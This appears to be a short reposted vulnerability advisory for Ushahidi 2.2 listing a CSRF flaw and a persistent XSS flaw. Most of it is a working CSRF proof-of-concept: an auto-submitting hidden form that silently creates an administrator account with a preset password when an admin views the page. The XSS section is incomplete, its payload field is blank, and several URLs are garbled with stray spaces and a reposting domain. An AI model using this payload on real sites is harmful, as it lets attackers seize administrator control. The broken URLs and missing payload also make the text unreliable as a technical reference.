Title: Ushahidi 2.2 Multiple Vulnerabilites
Author: shpendk www.2cto.com
Address: http://download.ushahidi.com/
Affected Versions: 2.2
Test Platform: Xampp on Windows
1) CSRF Add Admin PoC:
Bytes -----------------------------------------------------------------------------------------------------
<Html>
<Body>
<Form action = "http: // www.2cto.com 1/admin/users/edit" method = "POST">
<Input type = "hidden" name = "name" value = "myname">
<Input type = "hidden" name = "email" value = "shpendk13@gmail.com">
<Input type = "hidden" name = "role" value = "admin">
<Input type = "hidden" name = "username" value = "shpendk">
<Input type = "hidden" name = "Y" value = "1">
<Input type = "hidden" name = "password" value = "letmein">
<Input type = "hidden" name = "password_again" value = "letmein">
</Form>
<Script> document. forms [0]. submit (); </script>
</Body>
</Html>
Bytes -------------------------------------------------------------------------------------------------------
2) Persistent XSS
Bytes ------------------------------------------------------------------------------------------------------
-> Go to http://www.bkjia. com1/login
-> Create New User
-> Enter username:
-> Login as Admin and go to http: // 127.0.0.1/admin/users
Solution
Filter